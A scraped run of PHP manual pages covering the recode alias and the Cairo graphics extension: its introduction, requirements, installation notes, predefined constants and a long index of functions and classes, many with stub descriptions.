recode — Alias of recode_string()

Description

This function is an alias of: recode_string().

User Contributed Notes

There are no user contributed notes for this page.
recode_string
Image Processing and Generation
Recode Functions


Image Processing and Generation

  • Cairo
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Cairo Functions
    • Cairo — The Cairo class
    • CairoContext — The CairoContext class
    • CairoException — The CairoException class
    • CairoStatus — The CairoStatus class
    • CairoSurface — The CairoSurface class
    • CairoSvgSurface — Svg Surface Backend
    • CairoImageSurface — The CairoImageSurface class
    • CairoPdfSurface — The CairoPdfSurface class
    • CairoPsSurface — The CairoPsSurface class
    • CairoSurfaceType — The CairoSurfaceType class
    • CairoFontFace — The CairoFontFace class
    • CairoFontOptions — The CairoFontOptions class
    • CairoFontSlant — The CairoFontSlant class
    • CairoFontType — The CairoFontType class
    • CairoFontWeight — The CairoFontWeight class
    • CairoScaledFont — The CairoScaledFont class
    • CairoToyFontFace — The CairoToyFontFace class
    • CairoPatternType — The CairoPatternType class
    • CairoPattern — The CairoPattern class
    • CairoGradientPattern — The CairoGradientPattern class
    • CairoSolidPattern — The CairoSolidPattern class
    • CairoSurfacePattern — The CairoSurfacePattern class
    • CairoLinearGradient — The CairoLinearGradient class
    • CairoRadialGradient — The CairoRadialGradient class
    • CairoAntialias — The CairoAntialias class
    • CairoContent — The CairoContent class
    • CairoExtend — The CairoExtend class
    • CairoFormat — The CairoFormat class
    • CairoFillRule — The CairoFillRule class
    • CairoFilter — The CairoFilter class
    • CairoHintMetrics — The CairoHintMetrics class
    • CairoHintStyle — The CairoHintStyle class
    • CairoLineCap — The CairoLineCap class
    • CairoLineJoin — The CairoLineJoin class
    • CairoMatrix — The CairoMatrix class
    • CairoOperator — The CairoOperator class
    • CairoPath — The CairoPath class
    • CairoPsLevel — The CairoPsLevel class
    • CairoSubpixelOrder — The CairoSubpixelOrder class
    • CairoSvgVersion — The CairoSvgVersion class
  • Exif — Exchangeable image information
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Exif Functions
  • GD — Image Processing and GD
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • GD and Image Functions
  • Gmagick
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Gmagick — The Gmagick class
    • GmagickDraw — The GmagickDraw class
    • GmagickPixel — The GmagickPixel class
  • ImageMagick — Image Processing (ImageMagick)
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Imagick — The Imagick class
    • ImagickDraw — The ImagickDraw class
    • ImagickPixel — The ImagickPixel class
    • ImagickPixelIterator — The ImagickPixelIterator class

User Contributed Notes

There are no user contributed notes for this page.
recode
Cairo
Function Reference


Cairo

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Cairo Functions
    • cairo_create — Returns a new CairoContext object on the requested surface.
    • cairo_font_face_get_type — Description
    • cairo_font_face_status — Description
    • cairo_font_options_create — Description
    • cairo_font_options_equal — Description
    • cairo_font_options_get_antialias — Description
    • cairo_font_options_get_hint_metrics — Description
    • cairo_font_options_get_hint_style — Description
    • cairo_font_options_get_subpixel_order — Description
    • cairo_font_options_hash — Description
    • cairo_font_options_merge — Description
    • cairo_font_options_set_antialias — Description
    • cairo_font_options_set_hint_metrics — Description
    • cairo_font_options_set_hint_style — Description
    • cairo_font_options_set_subpixel_order — Description
    • cairo_font_options_status — Description
    • cairo_format_stride_for_width — Description
    • cairo_image_surface_create_for_data — Description
    • cairo_image_surface_create_from_png — Description
    • cairo_image_surface_create — Description
    • cairo_image_surface_get_data — Description
    • cairo_image_surface_get_format — Description
    • cairo_image_surface_get_height — Description
    • cairo_image_surface_get_stride — Description
    • cairo_image_surface_get_width — Description
    • cairo_matrix_create_scale — Alias of CairoMatrix::initScale
    • cairo_matrix_create_translate — Alias of CairoMatrix::initTranslate
    • cairo_matrix_invert — Description
    • cairo_matrix_multiply — Description
    • cairo_matrix_rotate — Description
    • cairo_matrix_transform_distance — Description
    • cairo_matrix_transform_point — Description
    • cairo_matrix_translate — Description
    • cairo_pattern_add_color_stop_rgb — Description
    • cairo_pattern_add_color_stop_rgba — Description
    • cairo_pattern_create_for_surface — Description
    • cairo_pattern_create_linear — Description
    • cairo_pattern_create_radial — Description
    • cairo_pattern_create_rgb — Description
    • cairo_pattern_create_rgba — Description
    • cairo_pattern_get_color_stop_count — Description
    • cairo_pattern_get_color_stop_rgba — Description
    • cairo_pattern_get_extend — Description
    • cairo_pattern_get_filter — Description
    • cairo_pattern_get_linear_points — Description
    • cairo_pattern_get_matrix — Description
    • cairo_pattern_get_radial_circles — Description
    • cairo_pattern_get_rgba — Description
    • cairo_pattern_get_surface — Description
    • cairo_pattern_get_type — Description
    • cairo_pattern_set_extend — Description
    • cairo_pattern_set_filter — Description
    • cairo_pattern_set_matrix — Description
    • cairo_pattern_status — Description
    • cairo_pdf_surface_create — Description
    • cairo_pdf_surface_set_size — Description
    • cairo_ps_get_levels — Description
    • cairo_ps_level_to_string — Description
    • cairo_ps_surface_create — Description
    • cairo_ps_surface_dsc_begin_page_setup — Description
    • cairo_ps_surface_dsc_begin_setup — Description
    • cairo_ps_surface_dsc_comment — Description
    • cairo_ps_surface_get_eps — Description
    • cairo_ps_surface_restrict_to_level — Description
    • cairo_ps_surface_set_eps — Description
    • cairo_ps_surface_set_size — Description
    • cairo_scaled_font_create — Description
    • cairo_scaled_font_extents — Description
    • cairo_scaled_font_get_ctm — Description
    • cairo_scaled_font_get_font_face — Description
    • cairo_scaled_font_get_font_matrix — Description
    • cairo_scaled_font_get_font_options — Description
    • cairo_scaled_font_get_scale_matrix — Description
    • cairo_scaled_font_get_type — Description
    • cairo_scaled_font_glyph_extents — Description
    • cairo_scaled_font_status — Description
    • cairo_scaled_font_text_extents — Description
    • cairo_surface_copy_page — Description
    • cairo_surface_create_similar — Description
    • cairo_surface_finish — Description
    • cairo_surface_flush — Description
    • cairo_surface_get_content — Description
    • cairo_surface_get_device_offset — Description
    • cairo_surface_get_font_options — Description
    • cairo_surface_get_type — Description
    • cairo_surface_mark_dirty_rectangle — Description
    • cairo_surface_mark_dirty — Description
    • cairo_surface_set_device_offset — Description
    • cairo_surface_set_fallback_resolution — Description
    • cairo_surface_show_page — Description
    • cairo_surface_status — Description
    • cairo_surface_write_to_png — Description
    • cairo_svg_surface_create — Description
    • cairo_svg_surface_restrict_to_version — Description
    • cairo_svg_version_to_string — Description
  • Cairo — The Cairo class
    • Cairo::availableFonts — Retrieves the availables font types
    • Cairo::availableSurfaces — Retrieves all available surfaces
    • Cairo::statusToString — Retrieves the current status as string
    • Cairo::version — Retrives cairo's library version
    • Cairo::versionString — Retrieves cairo version as string
  • CairoContext — The CairoContext class
    • CairoContext::appendPath — Appends a path to current path
    • CairoContext::arc — Adds a circular arc
    • CairoContext::arcNegative — Adds a negative arc
    • CairoContext::clip — Establishes a new clip region
    • CairoContext::clipExtents — Computes the area inside the current clip
    • CairoContext::clipPreserve — Establishes a new clip region from the current clip
    • CairoContext::clipRectangleList — Retrieves the current clip as a list of rectangles
    • CairoContext::closePath — Closes the current path
    • CairoContext::__construct — Creates a new CairoContext
    • CairoContext::copyPage — Emits the current page
    • CairoContext::copyPath — Creates a copy of the current path
    • CairoContext::copyPathFlat — Gets a flattened copy of the current path
    • CairoContext::curveTo — Adds a curve
    • CairoContext::deviceToUser — Transform a coordinate
    • CairoContext::deviceToUserDistance — Transform a distance
    • CairoContext::fill — Fills the current path
    • CairoContext::fillExtents — Computes the filled area
    • CairoContext::fillPreserve — Fills and preserve the current path
    • CairoContext::fontExtents — Get the font extents
    • CairoContext::getAntialias — Retrives the current antialias mode
    • CairoContext::getCurrentPoint — The getCurrentPoint purpose
    • CairoContext::getDash — The getDash purpose
    • CairoContext::getDashCount — The getDashCount purpose
    • CairoContext::getFillRule — The getFillRule purpose
    • CairoContext::getFontFace — The getFontFace purpose
    • CairoContext::getFontMatrix — The getFontMatrix purpose
    • CairoContext::getFontOptions — The getFontOptions purpose
    • CairoContext::getGroupTarget — The getGroupTarget purpose
    • CairoContext::getLineCap — The getLineCap purpose
    • CairoContext::getLineJoin — The getLineJoin purpose
    • CairoContext::getLineWidth — The getLineWidth purpose
    • CairoContext::getMatrix — The getMatrix purpose
    • CairoContext::getMiterLimit — The getMiterLimit purpose
    • CairoContext::getOperator — The getOperator purpose
    • CairoContext::getScaledFont — The getScaledFont purpose
    • CairoContext::getSource — The getSource purpose
    • CairoContext::getTarget — The getTarget purpose
    • CairoContext::getTolerance — The getTolerance purpose
    • CairoContext::glyphPath — The glyphPath purpose
    • CairoContext::hasCurrentPoint — The hasCurrentPoint purpose
    • CairoContext::identityMatrix — The identityMatrix purpose
    • CairoContext::inFill — The inFill purpose
    • CairoContext::inStroke — The inStroke purpose
    • CairoContext::lineTo — The lineTo purpose
    • CairoContext::mask — The mask purpose
    • CairoContext::maskSurface — The maskSurface purpose
    • CairoContext::moveTo — The moveTo purpose
    • CairoContext::newPath — The newPath purpose
    • CairoContext::newSubPath — The newSubPath purpose
    • CairoContext::paint — The paint purpose
    • CairoContext::paintWithAlpha — The paintWithAlpha purpose
    • CairoContext::pathExtents — The pathExtents purpose
    • CairoContext::popGroup — The popGroup purpose
    • CairoContext::popGroupToSource — The popGroupToSource purpose
    • CairoContext::pushGroup — The pushGroup purpose
    • CairoContext::pushGroupWithContent — The pushGroupWithContent purpose
    • CairoContext::rectangle — The rectangle purpose
    • CairoContext::relCurveTo — The relCurveTo purpose
    • CairoContext::relLineTo — The relLineTo purpose
    • CairoContext::relMoveTo — The relMoveTo purpose
    • CairoContext::resetClip — The resetClip purpose
    • CairoContext::restore — The restore purpose
    • CairoContext::rotate — The rotate purpose
    • CairoContext::save — The save purpose
    • CairoContext::scale — The scale purpose
    • CairoContext::selectFontFace — The selectFontFace purpose
    • CairoContext::setAntialias — The setAntialias purpose
    • CairoContext::setDash — The setDash purpose
    • CairoContext::setFillRule — The setFillRule purpose
    • CairoContext::setFontFace — The setFontFace purpose
    • CairoContext::setFontMatrix — The setFontMatrix purpose
    • CairoContext::setFontOptions — The setFontOptions purpose
    • CairoContext::setFontSize — The setFontSize purpose
    • CairoContext::setLineCap — The setLineCap purpose
    • CairoContext::setLineJoin — The setLineJoin purpose
    • CairoContext::setLineWidth — The setLineWidth purpose
    • CairoContext::setMatrix — The setMatrix purpose
    • CairoContext::setMiterLimit — The setMiterLimit purpose
    • CairoContext::setOperator — The setOperator purpose
    • CairoContext::setScaledFont — The setScaledFont purpose
    • CairoContext::setSource — The setSource purpose
    • CairoContext::setSourceRGB — The setSourceRGB purpose
    • CairoContext::setSourceRGBA — The setSourceRGBA purpose
    • CairoContext::setSourceSurface — The setSourceSurface purpose
    • CairoContext::setTolerance — The setTolerance purpose
    • CairoContext::showPage — The showPage purpose
    • CairoContext::showText — The showText purpose
    • CairoContext::status — The status purpose
    • CairoContext::stroke — The stroke purpose
    • CairoContext::strokeExtents — The strokeExtents purpose
    • CairoContext::strokePreserve — The strokePreserve purpose
    • CairoContext::textExtents — The textExtents purpose
    • CairoContext::textPath — The textPath purpose
    • CairoContext::transform — The transform purpose
    • CairoContext::translate — The translate purpose
    • CairoContext::userToDevice — The userToDevice purpose
    • CairoContext::userToDeviceDistance — The userToDeviceDistance purpose
  • CairoException — The CairoException class
  • CairoStatus — The CairoStatus class
  • CairoSurface — The CairoSurface class
    • CairoSurface::__construct — The __construct purpose
    • CairoSurface::copyPage — The copyPage purpose
    • CairoSurface::createSimilar — The createSimilar purpose
    • CairoSurface::finish — The finish purpose
    • CairoSurface::flush — The flush purpose
    • CairoSurface::getContent — The getContent purpose
    • CairoSurface::getDeviceOffset — The getDeviceOffset purpose
    • CairoSurface::getFontOptions — The getFontOptions purpose
    • CairoSurface::getType — The getType purpose
    • CairoSurface::markDirty — The markDirty purpose
    • CairoSurface::markDirtyRectangle — The markDirtyRectangle purpose
    • CairoSurface::setDeviceOffset — The setDeviceOffset purpose
    • CairoSurface::setFallbackResolution — The setFallbackResolution purpose
    • CairoSurface::showPage — The showPage purpose
    • CairoSurface::status — The status purpose
    • CairoSurface::writeToPng — The writeToPng purpose
  • CairoSvgSurface — Svg Surface Backend
    • CairoSvgSurface::__construct — The __construct purpose
    • CairoSvgSurface::getVersions — Used to retrieve a list of supported SVG versions
    • CairoSvgSurface::restrictToVersion — The restrictToVersion purpose
    • CairoSvgSurface::versionToString — The versionToString purpose
  • CairoImageSurface — The CairoImageSurface class
    • CairoImageSurface::__construct — Creates a new CairoImageSurface
    • CairoImageSurface::createForData — The createForData purpose
    • CairoImageSurface::createFromPng — Creates a new CairoImageSurface form a png image file
    • CairoImageSurface::getData — Gets the image data as string
    • CairoImageSurface::getFormat — Get the image format
    • CairoImageSurface::getHeight — Retrieves the height of the CairoImageSurface
    • CairoImageSurface::getStride — The getStride purpose
    • CairoImageSurface::getWidth — Retrieves the width of the CairoImageSurface
  • CairoPdfSurface — The CairoPdfSurface class
    • CairoPdfSurface::__construct — The __construct purpose
    • CairoPdfSurface::setSize — The setSize purpose
  • CairoPsSurface — The CairoPsSurface class
    • CairoPsSurface::__construct — The __construct purpose
    • CairoPsSurface::dscBeginPageSetup — The dscBeginPageSetup purpose
    • CairoPsSurface::dscBeginSetup — The dscBeginSetup purpose
    • CairoPsSurface::dscComment — The dscComment purpose
    • CairoPsSurface::getEps — The getEps purpose
    • CairoPsSurface::getLevels — The getLevels purpose
    • CairoPsSurface::levelToString — The levelToString purpose
    • CairoPsSurface::restrictToLevel — The restrictToLevel purpose
    • CairoPsSurface::setEps — The setEps purpose
    • CairoPsSurface::setSize — The setSize purpose
  • CairoSurfaceType — The CairoSurfaceType class
  • CairoFontFace — The CairoFontFace class
    • CairoFontFace::__construct — Creates a new CairoFontFace object
    • CairoFontFace::getType — Retrieves the font face type
    • CairoFontFace::status — Check for CairoFontFace errors
  • CairoFontOptions — The CairoFontOptions class
    • CairoFontOptions::__construct — The __construct purpose
    • CairoFontOptions::equal — The equal purpose
    • CairoFontOptions::getAntialias — The getAntialias purpose
    • CairoFontOptions::getHintMetrics — The getHintMetrics purpose
    • CairoFontOptions::getHintStyle — The getHintStyle purpose
    • CairoFontOptions::getSubpixelOrder — The getSubpixelOrder purpose
    • CairoFontOptions::hash — The hash purpose
    • CairoFontOptions::merge — The merge purpose
    • CairoFontOptions::setAntialias — The setAntialias purpose
    • CairoFontOptions::setHintMetrics — The setHintMetrics purpose
    • CairoFontOptions::setHintStyle — The setHintStyle purpose
    • CairoFontOptions::setSubpixelOrder — The setSubpixelOrder purpose
    • CairoFontOptions::status — The status purpose
  • CairoFontSlant — The CairoFontSlant class
  • CairoFontType — The CairoFontType class
  • CairoFontWeight — The CairoFontWeight class
  • CairoScaledFont — The CairoScaledFont class
    • CairoScaledFont::__construct — The __construct purpose
    • CairoScaledFont::extents — The extents purpose
    • CairoScaledFont::getCtm — The getCtm purpose
    • CairoScaledFont::getFontFace — The getFontFace purpose
    • CairoScaledFont::getFontMatrix — The getFontMatrix purpose
    • CairoScaledFont::getFontOptions — The getFontOptions purpose
    • CairoScaledFont::getScaleMatrix — The getScaleMatrix purpose
    • CairoScaledFont::getType — The getType purpose
    • CairoScaledFont::glyphExtents — The glyphExtents purpose
    • CairoScaledFont::status — The status purpose
    • CairoScaledFont::textExtents — The textExtents purpose
  • CairoToyFontFace — The CairoToyFontFace class
  • CairoPatternType — The CairoPatternType class
  • CairoPattern — The CairoPattern class
    • CairoPattern::__construct — The __construct purpose
    • CairoPattern::getMatrix — The getMatrix purpose
    • CairoPattern::getType — The getType purpose
    • CairoPattern::setMatrix — The setMatrix purpose
    • CairoPattern::status — The status purpose
  • CairoGradientPattern — The CairoGradientPattern class
    • CairoGradientPattern::addColorStopRgb — The addColorStopRgb purpose
    • CairoGradientPattern::addColorStopRgba — The addColorStopRgba purpose
    • CairoGradientPattern::getColorStopCount — The getColorStopCount purpose
    • CairoGradientPattern::getColorStopRgba — The getColorStopRgba purpose
    • CairoGradientPattern::getExtend — The getExtend purpose
    • CairoGradientPattern::setExtend — The setExtend purpose
  • CairoSolidPattern — The CairoSolidPattern class
    • CairoSolidPattern::__construct — The __construct purpose
    • CairoSolidPattern::getRgba — The getRgba purpose
  • CairoSurfacePattern — The CairoSurfacePattern class
    • CairoSurfacePattern::__construct — The __construct purpose
    • CairoSurfacePattern::getExtend — The getExtend purpose
    • CairoSurfacePattern::getFilter — The getFilter purpose
    • CairoSurfacePattern::getSurface — The getSurface purpose
    • CairoSurfacePattern::setExtend — The setExtend purpose
    • CairoSurfacePattern::setFilter — The setFilter purpose
  • CairoLinearGradient — The CairoLinearGradient class
    • CairoLinearGradient::__construct — The __construct purpose
    • CairoLinearGradient::getPoints — The getPoints purpose
  • CairoRadialGradient — The CairoRadialGradient class
    • CairoRadialGradient::__construct — The __construct purpose
    • CairoRadialGradient::getCircles — The getCircles purpose
  • CairoAntialias — The CairoAntialias class
  • CairoContent — The CairoContent class
  • CairoExtend — The CairoExtend class
  • CairoFormat — The CairoFormat class
    • CairoFormat::strideForWidth — Provides an appropiate stride to use
  • CairoFillRule — The CairoFillRule class
  • CairoFilter — The CairoFilter class
  • CairoHintMetrics — The CairoHintMetrics class
  • CairoHintStyle — The CairoHintStyle class
  • CairoLineCap — The CairoLineCap class
  • CairoLineJoin — The CairoLineJoin class
  • CairoMatrix — The CairoMatrix class
    • CairoMatrix::__construct — Creates a new CairoMatrix object
    • CairoMatrix::initIdentity — Creates a new identity matrix
    • CairoMatrix::initRotate — Creates a new rotated matrix
    • CairoMatrix::initScale — Creates a new scaling matrix
    • CairoMatrix::initTranslate — Creates a new translation matrix
    • CairoMatrix::invert — The invert purpose
    • CairoMatrix::multiply — The multiply purpose
    • CairoMatrix::rotate — The rotate purpose
    • CairoMatrix::scale — Applies scaling to a matrix
    • CairoMatrix::transformDistance — The transformDistance purpose
    • CairoMatrix::transformPoint — The transformPoint purpose
    • CairoMatrix::translate — The translate purpose
  • CairoOperator — The CairoOperator class
  • CairoPath — The CairoPath class
  • CairoPsLevel — The CairoPsLevel class
  • CairoSubpixelOrder — The CairoSubpixelOrder class
  • CairoSvgVersion — The CairoSvgVersion class

User Contributed Notes

There are no user contributed notes for this page.
Image Processing and Generation
Introduction
Image Processing and Generation


Introduction

Cairo is a native PHP extension to create and modify graphics using the Cairo Graphics Library.

The Cairo Graphics Library is a 2D library written in C with support for multiple output devices. Currently supported output targets include the X Window System, Quartz, Win32, image buffers, PostScript, PDF, and SVG file output. Experimental backends include OpenGL (through glitz), XCB, BeOS, OS/2, and DirectFB. The library also has support for two types of text manipulation and layout. The "toy" API provides demo quality support, and the glyphs API, although full-featured, works best with a helper library such as pango. Font backend support includes FreeType, Quartz, Win32, and User fonts.

There are two types of computer graphics, vector and raster. Raster graphics are the representation of images as an array of pixels. Vector graphics use geometrical primitives such as points, lines, curves or polygons to represent images. The primitives are created using mathematical equations. The Cairo Graphics Library takes a vector approach to graphics, allowing smaller size, infinite zooming, and moving, scaling and rotating without degrading image quality.

Operations in the cairo graphics library including stroking and filling cubic Bézier splines, transforming and compositing translucent images, and antialiased text rendering. All drawing operations can be transformed by any affine transformation (scale, rotation, shear, and others) This is very similiar to drawing operations for PostScript and PDF drawing.

The Cairo PHP Extension aims to provide support for all officially supported font backends and surface backends, as well as expose all available functionality in cairo to PHP users.

User Contributed Notes

There are no user contributed notes for this page.
Cairo
Installing/Configuring
Cairo


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Cairo


Requirements

Cairo is only available for PHP 5.2+ and PHP 5.3+ The extension also requires the cairo graphics library version 1.4 or higher. The cairo graphics library uses an even and odd numbering scheme to denote stable and unstable library versions. Both unstable and stable versions can be used with the extension, but conditional support for new features is determined by the stable version below the unstable version in use. The latest cairo release can be found at » http://cairographics.org/.

The binary files used for the windows compiles can be found at » http://cairographics.org/download/ along with the project files used to create them.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/cairo.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

Notes specific to installation on Windows

Binary builds of the extension can be found at » http://cairographics.org/download/. Download the correct zip file, place php_cairo.dll in the extensions directory, and enable it via the php.ini file in use. Please be sure the PHP minor version (5.2, 5.3) match, the thread safety (Thread Safe TS or Non-Thread Safe NTS), the architecture (x86 or x64), and the compiler version (VC6 or VC9) match or the extension will not load.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

CAIRO_STATUS_SUCCESS (integer)
CAIRO_STATUS_NO_MEMORY (integer)
CAIRO_STATUS_INVALID_RESTORE (integer)
CAIRO_STATUS_INVALID_POP_GROUP (integer)
CAIRO_STATUS_NO_CURRENT_POINT (integer)
CAIRO_STATUS_INVALID_MATRIX (integer)
CAIRO_STATUS_INVALID_STATUS (integer)
CAIRO_STATUS_NULL_POINTER (integer)
CAIRO_STATUS_INVALID_STRING (integer)
CAIRO_STATUS_INVALID_PATH_DATA (integer)
CAIRO_STATUS_READ_ERROR (integer)
CAIRO_STATUS_WRITE_ERROR (integer)
CAIRO_STATUS_SURFACE_FINISHED (integer)
CAIRO_STATUS_SURFACE_TYPE_MISMATCH (integer)
CAIRO_STATUS_PATTERN_TYPE_MISMATCH (integer)
CAIRO_STATUS_INVALID_CONTENT (integer)
CAIRO_STATUS_INVALID_FORMAT (integer)
CAIRO_STATUS_INVALID_VISUAL (integer)
CAIRO_STATUS_FILE_NOT_FOUND (integer)
CAIRO_STATUS_INVALID_DASH (integer)
CAIRO_STATUS_INVALID_DSC_COMMENT (integer)
CAIRO_STATUS_INVALID_INDEX (integer)
CAIRO_STATUS_CLIP_NOT_REPRESENTABLE (integer)
CAIRO_STATUS_TEMP_FILE_ERROR (integer)
CAIRO_STATUS_INVALID_STRIDE (integer)
CAIRO_ANTIALIAS_DEFAULT (integer)
CAIRO_ANTIALIAS_NONE (integer)
CAIRO_ANTIALIAS_GRAY (integer)
CAIRO_ANTIALIAS_SUBPIXEL (integer)
CAIRO_SUBPIXEL_ORDER_DEFAULT (integer)
CAIRO_SUBPIXEL_ORDER_RGB (integer)
CAIRO_SUBPIXEL_ORDER_BGR (integer)
CAIRO_SUBPIXEL_ORDER_VRGB (integer)
CAIRO_SUBPIXEL_ORDER_VBGR (integer)
CAIRO_FILL_RULE_WINDING (integer)
CAIRO_FILL_RULE_EVEN_ODD (integer)
CAIRO_LINE_CAP_BUTT (integer)
CAIRO_LINE_CAP_ROUND (integer)
CAIRO_LINE_CAP_SQUARE (integer)
CAIRO_LINE_JOIN_MITER (integer)
CAIRO_LINE_JOIN_ROUND (integer)
CAIRO_LINE_JOIN_BEVEL (integer)
CAIRO_OPERATOR_CLEAR (integer)
CAIRO_OPERATOR_SOURCE (integer)
CAIRO_OPERATOR_OVER (integer)
CAIRO_OPERATOR_IN (integer)
CAIRO_OPERATOR_OUT (integer)
CAIRO_OPERATOR_ATOP (integer)
CAIRO_OPERATOR_DEST (integer)
CAIRO_OPERATOR_DEST_OVER (integer)
CAIRO_OPERATOR_DEST_IN (integer)
CAIRO_OPERATOR_DEST_OUT (integer)
CAIRO_OPERATOR_DEST_ATOP (integer)
CAIRO_OPERATOR_XOR (integer)
CAIRO_OPERATOR_ADD (integer)
CAIRO_OPERATOR_SATURATE (integer)
CAIRO_PATTERN_TYPE_SOLID (integer)
CAIRO_PATTERN_TYPE_SURFACE (integer)
CAIRO_PATTERN_TYPE_LINEAR (integer)
CAIRO_PATTERN_TYPE_RADIAL (integer)
CAIRO_EXTEND_NONE (integer)
CAIRO_EXTEND_REPEAT (integer)
CAIRO_EXTEND_REFLECT (integer)
CAIRO_EXTEND_PAD (integer)
CAIRO_FILTER_FAST (integer)
CAIRO_FILTER_GOOD (integer)
CAIRO_FILTER_BEST (integer)
CAIRO_FILTER_NEAREST (integer)
CAIRO_FILTER_BILINEAR (integer)
CAIRO_FILTER_GAUSSIAN (integer)
CAIRO_HINT_STYLE_DEFAULT (integer)
CAIRO_HINT_STYLE_NONE (integer)
CAIRO_HINT_STYLE_SLIGHT (integer)
CAIRO_HINT_STYLE_MEDIUM (integer)
CAIRO_HINT_STYLE_FULL (integer)
CAIRO_HINT_METRICS_DEFAULT (integer)
CAIRO_HINT_METRICS_OFF (integer)
CAIRO_HINT_METRICS_ON (integer)
CAIRO_FONT_TYPE_TOY (integer)
CAIRO_FONT_TYPE_FT (integer)
CAIRO_FONT_TYPE_WIN32 (integer)
CAIRO_FONT_TYPE_QUARTZ (integer)
CAIRO_FONT_SLANT_NORMAL (integer)
CAIRO_FONT_SLANT_ITALIC (integer)
CAIRO_FONT_SLANT_OBLIQUE (integer)
CAIRO_FONT_WEIGHT_NORMAL (integer)
CAIRO_FONT_WEIGHT_BOLD (integer)
CAIRO_CONTENT_COLOR (integer)
CAIRO_CONTENT_ALPHA (integer)
CAIRO_CONTENT_COLOR_ALPHA (integer)
CAIRO_SURFACE_TYPE_IMAGE (integer)
CAIRO_SURFACE_TYPE_PDF (integer)
CAIRO_SURFACE_TYPE_PS (integer)
CAIRO_SURFACE_TYPE_XLIB (integer)
CAIRO_SURFACE_TYPE_XCB (integer)
CAIRO_SURFACE_TYPE_GLITZ (integer)
CAIRO_SURFACE_TYPE_QUARTZ (integer)
CAIRO_SURFACE_TYPE_WIN32 (integer)
CAIRO_SURFACE_TYPE_BEOS (integer)
CAIRO_SURFACE_TYPE_DIRECTFB (integer)
CAIRO_SURFACE_TYPE_SVG (integer)
CAIRO_SURFACE_TYPE_OS2 (integer)
CAIRO_SURFACE_TYPE_WIN32_PRINTING (integer)
CAIRO_SURFACE_TYPE_QUARTZ_IMAGE (integer)
CAIRO_FORMAT_ARGB32 (integer)
CAIRO_FORMAT_RGB24 (integer)
CAIRO_FORMAT_A8 (integer)
CAIRO_FORMAT_A1 (integer)
CAIRO_PS_LEVEL_2 (integer)
CAIRO_PS_LEVEL_3 (integer)
CAIRO_SVG_VERSION_1_1 (integer)
CAIRO_SVG_VERSION_1_2 (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Cairo


Examples

Description here...

Example #1 Cairo Example

<?php

/* ... */

?>

The above example will output something similar to:

...

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Cairo Functions
Cairo


Cairo Functions

Table of Contents

  • cairo_create — Returns a new CairoContext object on the requested surface.
  • cairo_font_face_get_type — Description
  • cairo_font_face_status — Description
  • cairo_font_options_create — Description
  • cairo_font_options_equal — Description
  • cairo_font_options_get_antialias — Description
  • cairo_font_options_get_hint_metrics — Description
  • cairo_font_options_get_hint_style — Description
  • cairo_font_options_get_subpixel_order — Description
  • cairo_font_options_hash — Description
  • cairo_font_options_merge — Description
  • cairo_font_options_set_antialias — Description
  • cairo_font_options_set_hint_metrics — Description
  • cairo_font_options_set_hint_style — Description
  • cairo_font_options_set_subpixel_order — Description
  • cairo_font_options_status — Description
  • cairo_format_stride_for_width — Description
  • cairo_image_surface_create_for_data — Description
  • cairo_image_surface_create_from_png — Description
  • cairo_image_surface_create — Description
  • cairo_image_surface_get_data — Description
  • cairo_image_surface_get_format — Description
  • cairo_image_surface_get_height — Description
  • cairo_image_surface_get_stride — Description
  • cairo_image_surface_get_width — Description
  • cairo_matrix_create_scale — Alias of CairoMatrix::initScale
  • cairo_matrix_create_translate — Alias of CairoMatrix::initTranslate
  • cairo_matrix_invert — Description
  • cairo_matrix_multiply — Description
  • cairo_matrix_rotate — Description
  • cairo_matrix_transform_distance — Description
  • cairo_matrix_transform_point — Description
  • cairo_matrix_translate — Description
  • cairo_pattern_add_color_stop_rgb — Description
  • cairo_pattern_add_color_stop_rgba — Description
  • cairo_pattern_create_for_surface — Description
  • cairo_pattern_create_linear — Description
  • cairo_pattern_create_radial — Description
  • cairo_pattern_create_rgb — Description
  • cairo_pattern_create_rgba — Description
  • cairo_pattern_get_color_stop_count — Description
  • cairo_pattern_get_color_stop_rgba — Description
  • cairo_pattern_get_extend — Description
  • cairo_pattern_get_filter — Description
  • cairo_pattern_get_linear_points — Description
  • cairo_pattern_get_matrix — Description
  • cairo_pattern_get_radial_circles — Description
  • cairo_pattern_get_rgba — Description
  • cairo_pattern_get_surface — Description
  • cairo_pattern_get_type — Description
  • cairo_pattern_set_extend — Description
  • cairo_pattern_set_filter — Description
  • cairo_pattern_set_matrix — Description
  • cairo_pattern_status — Description
  • cairo_pdf_surface_create — Description
  • cairo_pdf_surface_set_size — Description
  • cairo_ps_get_levels — Description
  • cairo_ps_level_to_string — Description
  • cairo_ps_surface_create — Description
  • cairo_ps_surface_dsc_begin_page_setup — Description
  • cairo_ps_surface_dsc_begin_setup — Description
  • cairo_ps_surface_dsc_comment — Description
  • cairo_ps_surface_get_eps — Description
  • cairo_ps_surface_restrict_to_level — Description
  • cairo_ps_surface_set_eps — Description
  • cairo_ps_surface_set_size — Description
  • cairo_scaled_font_create — Description
  • cairo_scaled_font_extents — Description
  • cairo_scaled_font_get_ctm — Description
  • cairo_scaled_font_get_font_face — Description
  • cairo_scaled_font_get_font_matrix — Description
  • cairo_scaled_font_get_font_options — Description
  • cairo_scaled_font_get_scale_matrix — Description
  • cairo_scaled_font_get_type — Description
  • cairo_scaled_font_glyph_extents — Description
  • cairo_scaled_font_status — Description
  • cairo_scaled_font_text_extents — Description
